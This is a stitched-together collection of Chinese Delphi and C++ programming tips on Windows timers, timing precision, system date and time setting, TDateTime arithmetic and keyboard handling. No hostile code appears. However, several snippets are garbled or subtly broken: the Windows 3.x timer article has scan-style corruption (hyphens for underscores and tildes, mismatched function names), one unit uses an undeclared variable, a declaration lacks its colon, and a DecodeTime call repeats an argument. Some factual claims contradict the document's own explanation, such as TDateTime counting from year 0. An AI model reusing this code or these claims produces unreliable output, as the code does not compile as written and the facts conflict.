如果函数调用成功，在系统中建立了一个多媒体记时器对象，每当经过一个udelay时间后lpfunction指定的函数都会被调用。同时函数返回一个对象标识，如果不再需要记时器则必须要使用timekillevent函数删除记时器对象。

由于windows是一个多任务的操作系统，因此基于api调用的记时器的精度都会受到其它很多因素的干扰。到底这两中记时器的精度如何，我们来使用以下的程序进行验证：

设置三种记时器（timer控件、高性能频率记数、多媒体记时器）。将它们的定时间隔设置为10毫秒，让它们不停工作直到达到一个比较长的时间（比如60秒），这样记时器的误差会被累计下来，然后同实际经过的时间相比较，就可以得到它们的精度。

下面是具体的检测程序。

unit unit1;

interface

uses

windows, messages, sysutils, classes, graphics, controls,
   forms, dialogs,

stdctrls, extctrls,mmsystem;

type

tform1 = class(tform)

edit1: tedit;

edit2: tedit;

edit3: tedit;

button1: tbutton;

button2: tbutton;

timer1: ttimer;

procedure formcreate(sender: tobject);

procedure button1click(sender: tobject);

procedure timer1timer(sender: tobject);

procedure button2click(sender: tobject);

private

{ private declarations }

public

{ public declarations }

end;

var

form1: tform1;

acttime1,acttime2:cardinal;

smmcount,stimercount,spcount:single;

htimeid:integer;

iten:integer;

protimecallback:tfntimecallback;

procedure timeproc(utimerid, umessage: uint;

dwuser, dw1, dw2: dword) stdcall;

procedure proendcount;

implementation

{$r *.dfm}

//timesetevent的回调函数

procedure proendcount;

begin

acttime2:=gettickcount-acttime1;

form1.button2.enabled :=false;

form1.button1.enabled :=true;

form1.timer1.enabled :=false;

smmcount:=60;

stimercount:=60;

spcount:=-1;

timekillevent(htimeid);

end;

procedure timeproc(utimerid, umessage: uint;

dwuser, dw1, dw2: dword) stdcall;

begin

form1.edit2.text:=floattostr(smmcount);

smmcount:=smmcount-0.01;

end;

procedure tform1.formcreate(sender: tobject);

begin

button1.caption :='开始倒计时';

button2.caption :='结束倒计时';

button2.enabled :=false;

button1.enabled :=true;

timer1.enabled :=false;

smmcount:=60;

stimercount:=60;

spcount:=60;

end;

procedure tform1.button1click(sender: tobject);

var

lgtick1,lgtick2,lgper:tlargeinteger;

ftemp:single;

begin

button2.enabled :=true;

button1.enabled :=false;

timer1.enabled :=true;

timer1.interval :=10;

protimecallback:=timeproc;

htimeid:=timesetevent(10,0,protimecallback,1,1);

acttime1:=gettickcount;

//获得系统的高性能频率计数器在一毫秒内的震动次数

queryperformancefrequency(lgper);

ftemp:=lgper/1000;

iten:=trunc(ftemp*10);

queryperformancecounter(lgtick1);

lgtick2:=lgtick1;

spcount:=60;

while spcount>0 do begin

queryperformancecounter(lgtick2);

//如果时钟震动次数超过10毫秒的次数则刷新edit3的显示

if lgtick2 - lgtick1 > iten then begin

lgtick1 := lgtick2;

spcount := spcount - 0.01;

edit3.text := floattostr(spcount);

application.processmessages;

end;

end;

end;

procedure tform1.timer1timer(sender: tobject);

begin

edit1.text := floattostr(stimercount);

stimercount:=stimercount-0.01;

end;

procedure tform1.button2click(sender: tobject);

begin

proendcount;

//显示从开始记数到记数实际经过的时间

showmessage('实际经过时间'+inttostr(acttime2)+'毫秒');

end;

end.

运行程序，点击“开始倒记时”按钮，程序开始60秒倒记时，由于上面的程序只涉及了记时器程序的原理而没有将错误处理加入其中，所以不要等60秒倒记时结束。点击“结束倒记时”按钮可以结束倒记时。这时在弹出对话框中会显示实际经过的时间（单位为毫秒），将三个文本框内的时间乘以1000再加上实际经过的时间，越接近60000，则记时精度越高。

下面是在我的机器上的执行结果。

从上面的结果看，由delphi的timer控件建立的记时器的精度十分差，无法在实际中使用，而利用高性能频率记数法和多媒体计数器法的误差都在1%以下。考虑到程序中在文本框中显示时间对程序所造成的影响，这个误差在应用中是完全可以忽略的。

另外在运行程序时作者还发现一个问题，如果在倒记时时拖动窗口，文本框中的显示都会停止，而当停止窗口拖放后，多媒体记时器显示会跳过这段时间记时，而其它两种记时器显示倒记时却还是从原来的时间倒数。这说明多媒体记时器是在独立的线程中运行的，不会受到程序的影响。

综合上面的介绍和范例，我们可以看到，如果要建立高精度的记时器，使用多媒体记时器是比较好的选择。而高性能频率记数法比较适合计算某个耗时十分短的过程所消耗的时间（例如分析程序中某个被多次调用的程序段执行时间以优化程序），因为毕竟高性能频率记数的理论可以达到微秒级别。timer控件虽然精度比上面两者差很多，但是它使用方便，在要求不高的场合它还是最佳选择。

（最后要说的是，以上的结果都是在windows 9x下获得的，作者在windows 2000下运行该程序时发现，timer控件的精度比在windows
    9x下要高出很多，一般误差在5%以下，这说明windows 2000是一个真正的多任务操作系统。再加上windows
    nt\2000的稳定性和易用性，在工业控制或实时检测等领域是一个比较完美的平台）


精确计时

文章贴出:
Windows 3.X环境下定时器的使用
马兴录
一、问题的提出
在编制实时软件时,会遇到各种各样的定时要求,有的要求定时间
隔为几秒,有的要求几毫秒,甚至有要求以微秒为单位的。
作者在实际工作中,曾遇到这样的要求:同时使用多个定时器,有
的定时间隔为几百毫秒;而有的则要求几个毫秒;而且要求能通过I/O
板发出宽度仅为几十微秒的矩形波。
针对上述要求,作者使用Borland C++3.1在中文Windows 3.2下实
现了多种精度的定时器需要。

二、低精度定时器
Windows提供的定时器是建立在DOS的1CH中断基础上的。该中断
每秒钟发生18.2次,即时间间隔为54.945ms。如果定时间隔是该数的
整数倍时,使用这个定时器则是最简单的方法。
使用定时器的窗口可定义如下:
class WyWindows:public……
{
private:
virtual void TimerHandle ()=[WM-FIRST+WM-TIMER];
//响应定时消息WM-TIMER
};
在窗口的某个函数内启动定时器:
if (SetTimer(hWnd,1,110,NULL)==NULL)//时间间隔为//110ms,
定时器标识为1
{
错误处理;
}
定时器使用完后,应及时关闭:
KillTimer(1);//关闭1号定时器
如果定时间隔不是55ms的整数倍,则不能用上述方法实现。即使
使用SstTimer(..,..,1 00,NULL)来设置定时器也是不行的。实际使
用中会发现,这样作的定时间隔是110ms,而不是100ms.

三、高精度定时器
当定时间隔小于55ms,或者不是55ms的整数倍时,则必须另辟途径
。大家知道,虽然Wind ows是基于DOS的,但它对多媒体的支持却很优
秀。Windows下有一套多媒体编程接口,这套接口函数包含于mmsystem
.dll动态链接库中。Borland C++3.1提供了相应的头文件mmsystem.
h。在这个编程接口中,有一套定时器操作函数,可用来实现高精度的
定时器,其计时精度可达1ms。这套函数主要包括:
timeGetDevCaps()——获取定时器的一些参数;
timeBeginPeriod()——设置定时器的定时精度;
timeSetEvent ()——设置定时间隔并启动定时器;
timeKillEvent ()——关闭定时器;
timeEndPeriod ()——释放定时器。
根据面向对象的编程思想,对上述几个函数进行封装,实现了自定
义的MyTimer类。该类定义如下:
//----MyTimer.h
#define MY-TIMER(WM-USER+101)//定时器发给父窗口的消息ext
ern″C″
{
//定时器回调函数
void far PASCAL-export IntRout (WORD,WORD,DWORD,DWORD,DW
ORD);
}
-CLASSDEF(MyTimer)
typedef struct -df{
int Timer ID;//定时器标识
int MinRes;//最小计时精度
int DevCaps;//定时间隔
HWND hWnd;//拥有该定时器的窗口
long TCount;//总的计时时间
}MyTmID;
class -export Mytimer //MyTimer类定义
{
private:
MyTmID TData;
public:
MyTimer(HWND hw,WORD Gap);//参数为父窗口及定时间隔
-MyTimer();
BOOL Start();//定时器启动函数
void End();//关闭定时器
long GetTime();//获取定时时间
};
其主要函数实现如下:
//----MyTimer.cpp
#include
#include
#include "mxltimer.h"
PTModule MyTimerLib;
/*------定时器回调函数------*/
void far PASCAL-export IntTout (WORD,WORD,DWORD dwUser,D
WORD)
{My TmID *data;
data=(MyTmID *)dwUser;
if(data->TimeID)
{data->TCount+=data->DevCaps;//计时
if(data->hWnd!=NULL)
PostMessage(data->hWnd,MY-TIMER,0,01);
//向拥有该定时器//的窗口发送MY-TIMER消息
}
}
MyTimer::MyTimer(HWND hw,WORD Gap)
{
TIMECAPS Tcps;
//初始化定时器参数
if(timeGetDevCaps(&Tcps,sizeof(TIMECAPS))!=TIMERR-NOCAND
O)
{TData.MinRes=Tcps.wPeriodMin;
timeBeginPeriod(Tcps.wPeriodMin);
TData.TimerID=0;
TData.hwnd=hw;
TData.DevCaps=Gap;
TData.TCount=0;
}
}
MyTimer::-MyTimer 0//释放定时器
{
if (TData.Timer ID)
{timeKillEvent(TData.Timer ID);
timeEndPeriod(TData.MinRes);
TData.Timer ID=0;
}
}
BOOL MyTimer::Start()//启动定时器
{
TData.Tcount=0;
TData.TimerID=timeSetEvent(TData.DevCaps,TData.MinRes,(L
PTIMECALLBACK)Int
Ro
ut,(DWORD)&TData,TIME-PERIODIC);
if(!TData.TimerID) return 0;
return 1;
}
void MyTimer::End()//停止定时器
{
if(TData.TimerID)
{timeKillEvent(TData.TimerID);
TData.TimerID=0;
}
}
long MyTimer::GetTime()//获取计时时间
{
return TData.TCount;
}
MyTimer类应该用动态链接库来实现,即将上述程序单独编译为.D
LL文件,然后可以直接链接到自己的程序中去。该类的功能及使用方
法如下。
1.可以和任何一个窗口连接,定时向该窗口发送MY-TIMER消息。
使用方法和低精度定时器基本一致。
class MyWindow:public…
{private:
MyTimer *MTimerPtr;//定义一定时器指针
void TimerHandle()=[WM-FIRST+MY-TIMER];
//响应定时消息
.
.
};
在MyWindow的创建函数中建立定时器:
void MyWindow::SetupWindow()
{.
.
MTimerPtr=new MyTimer(hWnd,10);//定时间隔为10ms
}
在MyWindow的折构函数中释放定时器:
void MyWindow::-MyWindow()
{.
.
if(MTimerPtr)delete MTimerPtr;
}
可在任何合适的函数内启动或停止定时器:
启动定时器:if(MTimerPtr)MTimerPtr->start();
停止定时器:if(MTimerPtr)MTimerPtr->end();
在MyWindow的TimerHandle()函数中响应定时事件。
2.单纯用作计时器,如同一个跑表一样。这时定时器的拥有窗口
可设为NULL。其使用方法可见下面的程序示例。

    四、矩形波的产生
如果要求产生微秒级的矩形波,则完全可以使用程序延时来实现
。在这段时间内完全占用CPU资源,因为这段时间毕竟是较短的。而如
果矩形波宽度在毫秒级以上,则可使用高精度定时器来实现。
要实现程序的准确延时,必须准确测定机器的运行速度。使用高
精度定时器可以准确测量机器速度。
void
Test-Cpu-Speed()
{MyTimer*TmTemp;
TmTemp=new MyTimer(NULL,1);//定时精度1ms
if(TmTemp==NULL)return;
TmTemp->Start();//启动定时器
for (int
i=0;i<20;i++)//延时
{
asm mov
cx,0xffff;
tcpus:asm loop tcpus;
}
TmTemp->End();//关闭定时器
T50=(int)(65535L/(TmTemp->GetTime()*1000));
//延时50us的循环次数计算公式
}
发出50us宽度矩形波的程序如下:
outportb(..);
/*发出波形*/
asm mov cx,T50;//延时50us
13:asm loop 13;
outportb(..);//波形结束

五、结束语
一旦实现了高精度定时器,便可满足各种各样的定时要求。在使
用时应注意,当定时间隔很短时,应保证能及时响应定时消息,否则有
可能丢失定时消息,使定时不准。
(作者地址:青岛高校科技培训学院,266042)
/////////////////////////////////////////////////////////////////////////////
procedure TForm1.Button1Click(Sender: TObject);
var
li : TLARGEINTEGER;
begin
QueryPerformanceFrequency(li);
ShowMessage(FloatToStr(Comp(li)));
QueryPerformanceCounter(li);
ShowMessage(FloatToStr(Comp(li)));
QueryPerformanceCounter(li);
ShowMessage(FloatToStr(Comp(li)));
end;
/////////////////////////////////////////////////
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs,
StdCtrls, Numedit, ExtCtrls;

type
TForm1 = class(TForm)
StartButton:
TButton;
StopButton: TButton;
Edit1:
TEdit;
Label1: TLabel;
procedure
StartButtonClick(Sender: TObject);
procedure
StopButtonClick(Sender: TObject);
private
{
Private-Deklarationen}
public
{
Public-Deklarationen}
end;

var
Form1: TForm1;
x1, x2, Time: Longint;
stopped: boolean;
implementation

{$R *.DFM}

procedure TForm1.StartButtonClick(Sender: TObject);
var x: integer;
begin
Time:=0;
Stopped:=false;
asm
mov al, 01110100b
out 43h, al
mov al, 0A9h
out 41h, al
mov al, 04h
out 41h, al
end;
repeat
asm
xor eax, eax
mov al, 01000100b
out 43h, al
in al, 41h
mov ah, al
in al, 41h
xchg ah, al
mov x1, eax
end;
If x1>x2 then Begin
Inc (Time);
Application.ProcessMessages;
Edit1.Text:=Inttostr(Time);
end;
x2:=x1;
{inc(c);
D[c]:=Word(x1);}
until stopped;
end;

procedure TForm1.StopButtonClick(Sender: TObject);
begin
stopped:=true;
end;

initialization
x1:=0;
Time:=0;
x2:=10000;
c:=0;
stopped:=false;
end.


截获系统时间改变

type
TForm1 = class(TForm)
private
{ Private declarations }
procedure WMTIMECHANGE(var Message: TWMTIMECHANGE);
message WM_TIMECHANGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMTIMECHANGE(var Message: TWMTIMECHANGE);
begin
Form1.Caption := 'Time Changed';
end;


获得全球标准时间

 procedure TForm1.Button1Click(Sender: TObject);
var
lt : TSYSTEMTIME;
st : TSYSTEMTIME;
begin
GetLocalTime(lt);
GetSystemTime(st);
Memo1.Lines.Add('LocalTime = ' +
IntToStr(lt.wmonth) + '/' +
IntToStr(lt.wDay) + '/' +
IntToStr(lt.wYear) + ' ' +
IntToStr(lt.wHour) + ':' +
IntToStr(lt.wMinute) + ':' +
IntToStr(lt.wSecond));
Memo1.Lines.Add('UTCTime = ' +
IntToStr(st.wmonth) + '/' +
IntToStr(st.wDay) + '/' +
IntToStr(st.wYear) + ' ' +
IntToStr(st.wHour) + ':' +
IntToStr(st.wMinute) + ':' +
IntToStr(st.wSecond));
end;


改变操作系统日期

    日期函数Now()、Date()、Time()大家都用得多了，这些函数是读取系统日期时间的。可是遇到需要改变操作系统的时间时，他们就一点办法也没有，而Delphi4又没有提供相关的函数，所以只好求助于API函数SetSystemTime(SystemTime);无奈他要求的变量SystemTime太古怪了，属于TSystemTime，需要经过转换才可以得到，所以举例如下：
    1、定义变量
var SystemTime: TSystemTime;
    2、转换日期
DateTimeToSystemTime(StrToDatetime('1999-09-01 11:12:12' ),SystemTime);
    3、改变系统日期
SetSystemTime(SystemTime);
    到此系统日期已经改变，可是由于API函数SetSystemTime()本身存在的BUG，在你改变系统日期以后，等待一会，你会看到系统的日期是对的，可是时间却错了，并不是我们设定的11:12:12，这样的问题看来需要微软才能解决了
///////////////////////////////////////////
{ SetDate sets the current date in the operating system. Valid }
{ parameter ranges are: Year 1980-2099, Month 1-12 and Day }
{ 1-31. If the date is not valid, the function call is ignored. }
procedure SetDate(Year, Month, Day: Word); assembler;
asm
MOV CX,Year
MOV DH,BYTE PTR Month
MOV DL,BYTE PTR Day
MOV AH,2BH
INT 21H
end;

{ SetTime sets the time in the operating system. Valid }
{ parameter ranges are: Hour 0-23, Minute 0-59, Second 0-59 and }
{ Sec100 (hundredths of seconds) 0-99. If the time is not }
{ valid, the function call is ignored. }
procedure SetTime(Hour, Minute, Second, Sec100: Word); assembler;
asm
MOV CH,BYTE PTR Hour
MOV CL,BYTE PTR Minute
MOV DH,BYTE PTR Second
MOV DL,BYTE PTR Sec100
MOV AH,2DH
INT 21H
end;

function SetSystemDateTime(Year, Month, Day, Hour, Minute, Second: word): integer; export;
begin
SetDate(Year, Month, Day);
SetTime(Hour, Minute + 1, Second, 0);
result := 1;
end;


一个延时程序

 var
NumSec SmallInt;
StartTime: LongInt;
begin
StartTime := now;
repeat
Application.ProcessMessages;
until Now > StartTime + NumSec * (1/24/60/60);
end;


日期输入

也 谈Delphi 中 的 日 期 输 入

河 海 大 学 计 算 机 系 研

张 亮

---- 日 期 输 入 虽 然 是 小 事， 但 却 几 乎 每 一 个 程 序 里 都 会 碰 到， 处 理 不 好 也 会 惹 出 许 多 麻 烦（2000 年 问 题 即 是 日 期 引 起 的 世 界 性 麻 烦）。 现 谈 一 谈 笔 者 在Delphi 编 程 中 对 日 期 处 理 的 一 些 经 验 和 感 受， 请 大 家 指 正。

---- 在 程 序 中 使 用 现 成 的 控 件 是 现 在 编 程 的 一 种 趋 势， 其 实，DateTimePicker 就 是 一 个 很 好 的 控 件, 关 键 是 如 何 灵 活 变 通 地 运 用。DateTimePicker 是Microsoft 向Windows95 通 用 控 件 库 新 添 的 控 件， 是 输 入 日 期 和 时 间 的 简 单 工 具， 具 有 良 好 的 图 形 界 面。 该 控 件 在Delphi 名 为Win32 的 控 件 面 板 中， 对 其kind 属 性 的 选 择 可 以 确 定 是 输 入 时 间 还 是 日 期， 在 日 期 输 入 中 又 有 一 些 属 性 可 供 不 同 的 选 择， 其 中Datamode 有dmUpDown 和dmComboBox 两 个 选 项， 选 择 前 者， 就 可 以 在 输 入 日 期 时， 用 鼠 标 点 激 向 上 或 向 下 按 钮， 从 而 可 以 非 常 方 便 地 对 年、 月、 日 进 行 递 增 或 递 减； 选 择 后 者， 在 运 行 时 用 鼠 标 点 激， 就 会 弹 出 一 个 界 面 友 好 的 对 话 框， 从 而 可 以 从 中 选 取 日 期， 这 时 日 是 从 相 应 的 月 历 表 中 选 取， 年 和 月 则 仍 是 通 过 按 箭 头 按 钮 递 增 或 递 减。 但 不 管 是dmUpDown 还 是dmComboBox， 都 可 以 在 其 上 直 接 输 入 年 月 日 的 值， 并 且 自 动 地 保 证 日 期 的 有 效 性（ 如 闰 年 问 题 等）， 因 此 完 全 涵 盖 了《Delphi 中 日 期 输 入 法 二 则》 一 文 中 自 己 定 制 的 日 期 输 入 窗 口 的 功 能 和 速 度。Dateformat 属 性 有dfLong 和dfShort 两 种 选 择， 前 者 为 长 日 期 型（ 如1999 年2 月16 日， 如 果 得 到 的 不 是 理 想 的 形 式， 可 调 整Windows 控 制 面 板 上 区 域 设 置 中 的 日 期 格 式 以 及DateTimePicker 的Font 属 性 的Charset 值， 一 般 情 况 取DEFAULT_CHARSET 或GB2312_CHARSET 即 可）， 后 者 为 短 日 期 型（ 如99-2-16）， 考 虑 到 跨 世 纪 问 题， 短 日 期 要 慎 用。 但 长 日 期 型 的 值 不 可 直 接 作 为 日 期 值 赋 给 日 期 型 的 变 量， 要 做 一 点 转 换 工 作， 举 例 如 下：

procedure Tform1.DateTimePicker1CloseUp

(Sender: TObject);

var

Year, Month, Day: Word;

Datetime:TDatetime;

begin

DecodeDate(DateTimePicker1.datetime,

Year, Month, Day);

//将DateTimePicker1的年月日的值分别赋给

Year, Month, Day

EditDATE.Text:=inttostr(year)+'-'

+inttostr(Month)+'-'+inttostr(Day);

// EditDATE为TDBEdit型的编辑框，

对应一个日期型的数据表字段

//若将其变为短日期型的，

可以发现Delphi把短日期即00--99年都解释

//为1900--1999年，

而不受Windows控制面板中区域设置中格式的控制

Datetime:=EncodeDate(Year,Month,Day);

//把年月日合成为日期值

end;

---- 上 面 这 个 小 程 序 中，form1 的DateTimePicker1 的Dateformat 属 性 为dfLong，Datamode 的 属 性 为dmComboBox。 DateTimePicker1CloseUp 为 日 期 输 入 对 话 框 缩 起 时 发 生 的 事 件， 也 可 以 用OnChang 事 件， 即DateTimePicker 发 生 变 化 时 触 发， 则Datamode 属 性 无 论 取 何 值 都 可 使 用。

---- 可 见 对DateTimePicker 控 件 只 要 稍 加 处 理 即 可 美 观 快 捷 地 解 决 日 期 输 入 问 题。， 默 许 状 态 下 日 期 只 能 在1752 年9 月14 日 至2999 年12 月31 日 之 间， 但 可 以 通 过 对 其mindate 和maxdate 赋 值 扩 大 选 择 范 围。

---- 但 是 该 控 件 也 有 一 点 缺 憾， 对1899 年12 月30 日 以 前 的 数 值 录 入 须 小 心， 容 易 出 错。 这 倒 引 入 了 另 一 个 话 题， 即Delphi 中 的 日 期 型（ 即Tdate 型 ） 的 定 义 为：type TDate = type TDateTime; 而TdateTime 型 的 定 义 为：type TDateTime = type Double; 可 见 日 期 型 归 根 到 底 是 双 精 度 浮 点 型（Double 型），Delphi 规 定 其 整 数 部 分 为1899 年12 月30 日 以 来 的 天 数， 小 数 部 分 则 为24 小 时 按 比 例 分 割 存 储， 例 如：

0 12/30/1899 12:00 am 2.75 1/1/1900 6:00 pm

-1.25 12/29/1899 6:00 am 35065 1/1/1996 12:00 am

---- （12:00 am 即 为 凌 晨0 点，11:00 am 即 为 早 晨11 点，12:00 pm 即 为 中 午12 点，1:00 pm 即 为 中 午1 点）

---- 而 在Delphi1.0 中， 其 整 数 部 分 为 公 元1 年 以 来 的 天 数， 之 所 以 这 样 改 动 是 为 了 更 好 地 与OLE2.0 相 兼 容。 对 于 日 期 的 运 算 一 定 得 注 意 类 型 的 匹 配， 而 且 由 于 日 期 型 实 则 为Double 型， 所 以 可 对 其 进 行 加 减 乘 除 运 算， 现 举 例 如 下：

procedure TForm1.Table1CalcFields(DataSet: TDataset);

var

t1, t2: tDateTime;

begin

table1d1.asDateTime := Date + 2;

{or table1d1.value := date + 2;} // Date为系统日期

table1d2.asDateTime := Date - 2;

//d1,d2为表table1中date or dateTime型字段。

t1 := table1d1.asDateTime;

t2 := table1d2.asDateTime;

table1d3.asInteger := trunc(double(t1) - double(t2));

// trunc为取整函数，d3为表table1

中integer型字段，结果为日期d1和d2的差。

end;

---- 另 外， 在Delphi 中 可 以 方 便 地 显 示 系 统 时 间， 只 要 利 用DateToStr（Date） 及TimeToStr（Time） 函 数 即 可 实 现。 也 可 以 通 过 调 用WindowsAPI 函 数 来 实 现 对 系 统 时 间 的 设 置， 具 体 方 法 如 下：

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit1.Text:='1998-12-12 12:00 am';

end;

//可在运行时，也可在Edit1中重新键入日期，

但须注意格式。

procedure TForm1.Button2Click(Sender: TObject);

var

systemtime:Tsystemtime;

DateTime:TDateTime;

begin

DateTime:=StrToDateTime(Edit1.text);

DateTimeToSystemTime(DateTime,systemtime);

SetLocalTime(SystemTime);

GetLocalTime(SystemTime);//读取北京东8区时间

DateTime:=SystemTimeToDateTime(SystemTime);

Edit2.Text:=DateTimeToStr(DateTime);

end;

//Button2点激后，系统时间就变为Edit1中的时间了。


计算日期

算时间在delphi中是最容易的，如下：

var ss : TDateTime

其实Tdatetime是一个双精度的浮点数，它的小数点前表示天数：

如， ss := ss + 20 表示从ss开始向后20天，如果 ss = 234.567
它就表示 234.567天,当然是从公元0年开始计算的！

时间处理的秘密
TDateTime类型实际上就是一个double（双精度数）. 整数部分是日期小数部分是时间。例如

var
DateTime : TDateTime;
Date : TDateTime;
Time : TDateTime;
begin
DateTime := now;
//获得日期
Date := Trunc( DateTime );
//获得时间
Time := Frac( DateTime );
end;

日期运算
如果你想增加几天，只需要加一个天数就可以了

var
DateTime : TDateTime;
begin
DateTime := now;
//七天以后
DateTime := DateTime + 7;
end;

想要知道两个日期的差距，只需要互相减一下就可以了。

var
StartTime, StopTime, Difference : TDateTime;
begin
Difference := StopTime - StartTime;
end;


处理时间

unit SystemTime;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics,Controls, Forms, Dialogs, StdCtrls,ExtCtrls;

type
TSysTime = class(TObject)
private
//系统日期、时间
FStartDateTime : TDateTime;
// 定时器
FTimer : TTimer;
// 流逝时间变量
FElapsedTime : Integer;

procedure Timer(Sender: TObject);

protected

public
constructor Create; virtual;
destructor Destroy;
override;
procedure SetNewTime(NewTime :TSystemTime);
procedure
ResetTime;
end;

implementation

//构造器
constructor TSysTime.Create;

begin
//保存当前日期、时间
FStartDateTime :=
Now;
//生成定时器对象
FTimer := TTimer.Create(nil);
//
设定时钟间隔为一秒
FTimer.Interval := 1000;
//时钟事件
FTimer.OnTimer :=
Timer;
// 开始记时
FTimer.Enabled := True;
end;

//设定系统新时间
procedure TSysTime.SetNewTime(NewTime :
TSystemTime);
begin
SetLocalTime(NewTime);
end;

//流逝时间
procedure TSysTime.Timer(Sender: TObject);
begin
// 保存流逝的时间（以秒为单位），每秒加1
Inc(FElapsedTime);
end;

//恢复系统时钟
procedure TSysTime.ResetTime;

var
NewTime : TSystemTime;
tmTemp : Double;
dtTemp : TDateTime;

begin
//将流逝的时间转换为天数
tmTemp :=
FElapsedTime/86400;
//将流逝的时间加到原来的时间上
dtTemp := FStartDateTime +
tmTemp;
//转换为Windows 32位时间格式
DateTimeToSystemTime(dtTemp,
NewTime);
//设定时间
SetLocalTime(NewTime);
end;

//释放
destructor
TSysTime.Destroy;
begin
//恢复系统时钟
ResetTime;
//
记时器停止
FTimer.Enabled := False;
// 释放时钟对象
FTimer.Free;
end;

end.


获得NT Server上的系统时间

winexec( 'c:\windows\nettime  \\\\servername /set
/yes)
///////////////////////////////////////////////
PTime_Of_Day_Info
= ^TTime_Of_Day_Info;
TTime_Of_Day_Info = record
tod_elapsedt  :Integer;
tod_msecs     :Integer;
tod_hours     :Integer;
tod_mins      :Integer;
tod_secs      :Integer;
tod_hunds     :Integer;
tod_timezone  :LongInt;
tod_tinterval
:Integer;
tod_day
:Integer;
tod_month
:Integer;
tod_year
:Integer;
tod_weekday   :Integer;
end;

function NetRemoteTOD(ServerName
:PWideChar;
var buffer :pointer) :Integer; stdcall; external 'netapi32.dll';

function NetApiBufferFree(buffer : Pointer) :Integer; stdcall; external 'netapi32.dll';

function TNTRemoteDateTime.GetTOD(ServerName: WideString): Integer;
var Buffer :pointer;
Rek :PTime_Of_Day_Info;
ADate :TDateTime;
ATime :TDateTime;
FinalTime :TDateTime;
THours,
TMins,
TSecs,
TMSecs :Word;
TYear,
TMonth,
TDay :Word;
begin

result:=NetRemoteTOD(PWideChar(ServerName),
Buffer);
if result=0 then
begin
Rek:=PTime_Of_Day_Info(Buffer);
FServerName
:=ServerName;
FElapseDt
:=Rek.tod_elapsedt;
FMSecs
:=Rek.tod_msecs;
FHours
:=Rek.tod_hours;
FMins
:=Rek.tod_mins;
FSecs
:=Rek.tod_secs;
FHunds
:=Rek.tod_hunds;
FTInterval  :=Rek.tod_tinterval;

If Rek.tod_timezone <> -1 then
begin
FTimeZone:=Rek.tod_timezone div 60;
end
else
FTimeZone:=0;

FDay :=Rek.tod_day;
FMonth :=Rek.tod_month;
FYear :=Rek.tod_year;
FWeekDay :=Rek.tod_weekday;

    ADate:=EncodeDate(FYear, FMonth,
FDay);
ATime:=EnCodeTime(FHours, FMins, FSecs,
FHunds);

    FinalTime:=StrToDateTime(DateTimeToStr(ADate) + ' ' +
TimeToStr(ATime));
FinalTime:=FinalTime - (FTimeZone /
24);

decodetime(FinalTime,THours, TMins,TSecs, TSecs);

FHours:=Integer(THours);

    decodeDate(FinalTime,TYear,
TMonth,TDay);
FYear:=Integer(TYear);
FMonth:=Integer(TMonth);
FDay:=Integer(TDay);

end;
NetApiBufferFree(Buffer);
end;


常用的日期、时间处理函数

var
DateTime,MyDate,MyTime : TDateTime;
DateStr,TimeStr:string;
begin
DateTime :=
Now;
//返回当前日期时间
DateStr:= DateToStr(DateTime);
//转换日期为字符串 ，例如：01/08/96
TimeStr :=
TimeToStr(DateTime);   //转换时间为字符串，例如：20：50
MyDate:=
StrToDate(DateStr); //转换字符串为日期
MyTime:= StrToTime(TimeStr);
//转换字符串为时间
DateTime:= MyDate + MyTime;
//相加得到datetime
DateTime   := DateTime +
(15/60/24);//加15分钟

DateStr:= FormatDateTime('yyyy-mmmm-dd',MyDate); {1996-January-08}
DateStr:= FormatDateTime('mmm,d,yy,ddd',MyDate); {Jan,8,96,Mon}
DateStr:= FormatDateTime('dddd/dd/mm/yy',MyDate); {Monday/08/01/96}

  TimeStr:=
FormatDateTime('t',MyTime);
{10:50 PM}
TimeStr:=
FormatDateTime('tt',MyTime);
{10:50:00 PM}
TimeStr:= FormatDateTime('hh-nn-ss-a/p',MyTime);
{10-50-00-p}
end;
////////////////////////////////////////////
begin
try
{编码年月日为TDateTime}
DateTime := EncodeDate(YearStr,
MonthStr,DayStr);
except
on EConvertError do ....
end;

DOW := DayOfWeek(DateTime); 获得星期几的信息
case DOW of
1 : WeekStr:= '星期天';
......
7：WeekStr:='星期六'
end;


判断用户输入的日期格式是否正确

 有时候，我们需要判断用户输入的日期格式是否正确。
一般的处理是给输入日期的组件添加“格式掩码”，但是给用户的界面不太友好，如果自己根据日期的格式写代码来判断有比较麻烦（要判断好多情况），那有没有一种写代码少又不影响界面的好办法呢？
在这里我给大家推荐下面这种办法：利用函数StrToDate()转换自身的错误捕捉来“帮助”我们干活！
下面是源代码：
procedure TForm1.DateEditExit(Sender: TObject);
begin
//利用函数转换的错误捕捉来处理...
if DateEdit1.Text<>'' then
begin
try
StrToDate(DateEdit1.Text);//转换
except
DateEdit1.SetFocus;
MessageBeep(0);
raise Exception.Create('"'+DateEdit1.Text+'" 不是正确的日期格式!');
end{try};
DateEdit1.Text:=DateToStr(StrToDate(DateEdit1.Text));
end{if};
end;


屏蔽Alt+F4关闭键

 启动某些程序，使用Alt+F4键，可以快速的退出程序，可是如果是做一个屏幕保护程序的话，那么这个方便将成为绊脚石，所以有必要令该功能键失去作用，所以我们使用了窗体的OnKeyDown事件来检测击键：
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);
begin
if (ssAlt in shift)and(key=115) then key:=0;
end;


利用按键退出长循环

procedure TForm1.Button1Click(Sender: TObject);

var

i: Integer;

begin

for i:= 0 to 9999999 do

begin

Self.Caption := Format('Iteration #%d', [i]);

//下面允许应用程序在循环中可以处理消息;

//否则我们无法检测是否有键被按下:

Application.ProcessMessages;

//如果是 ESC 键被按下则放弁循环:

if GetKeyState(VK_ESCAPE) and 128 = 128 then Break;

end;

end;


俘获TAB键

unit TrappingTabs;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Grids;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
{ Private declarations }
procedure WMGetDlgCode(var msgIn: TWMGetDlgCode); message WM_GETDLGCODE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMGetDlgCode;
begin
inherited;
msgIn.Result := msgIn.Result or
DLGC_WANTTAB;
end;

